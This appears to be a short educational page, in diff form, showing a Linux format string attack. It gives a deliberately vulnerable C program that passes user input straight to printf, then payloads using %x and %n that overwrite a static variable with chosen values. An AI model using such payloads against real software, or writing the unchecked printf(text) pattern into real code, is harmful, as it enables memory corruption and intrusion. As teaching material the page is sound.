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+title:X11 Linux Format String Attack
+keywords:linux,c,formatting,printf
+
+# Linux Format String Attack
+Format string attack is attack for C formated strings. Format string
+function is prinrf() there are other functions that
+support format string.C code for bad used printf():
+
+```
+int main( int argc, char **argv )
+{
+    static int i = 0;
+    char text[1000];
+    strcpy(text, argv[1]);
+    printf("%.8x\n",&i);
+    printf("No way it never will works because value of i=%d\n",i);
+    printf( text );
+    printf("\nValue of i=%d\n",i);
+    return 0;
+}
+
+```
+First output is address of static iThan we output values of
+i and call printf() with first argument fo programm.and
+then watching value if i
+
+Run:
+
+```
+./e1 'Halolo'
+```
+
+Output:
+```
+08049674
+No way it never will works because value of i=0
+Halolo
+Value of i=0
+```
+
+Run:
+```
+./e1 'Halolo%s'
+```
+
+Output:
+```
+08049674
+No way it never will works because value of i=0Halolo(null)
+Value of i=0 
+```
+
+Run:
+```
+./e1 $'\x74\x96\x04\x08_%x'
+```
+
+Output:
+```
+08049674
+No way it never will works because value of i=0
+t?_0
+Value of i=0
+```
+
+Read about %n in format string:
+
+Run:
+```
+./e1 $'\x74\x96\x04\x08_%x_%n'
+```
+
+Output:
+
+```
+08049674
+No way it never will works because value of i=0
+Segmentation fault
+```
+
+Run:
+
+```
+./e1 $'\x74\x96\x04\x08_%x_%x_%x_%x_%x_%n'
+```
+
+Output:
+```
+08049674
+No way it never will works because value of i=0
+t?_0_8_40_4_4_
+Value of i=16
+```
+
+Run:
+
+```
+./e1 $'\x74\x96\x04\x08_%x_%x_%x_%x_%.1201x_%n'
+```
+
+Output:
+```
+08049674
+No way it never will works because value of i=0
+t?_0_8_40_4_000000000000000000000000000000000000000000000000000000000000000000000000000000
+000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000004_
+Value of i=1216
+```
+
+Now you can input almost any value to i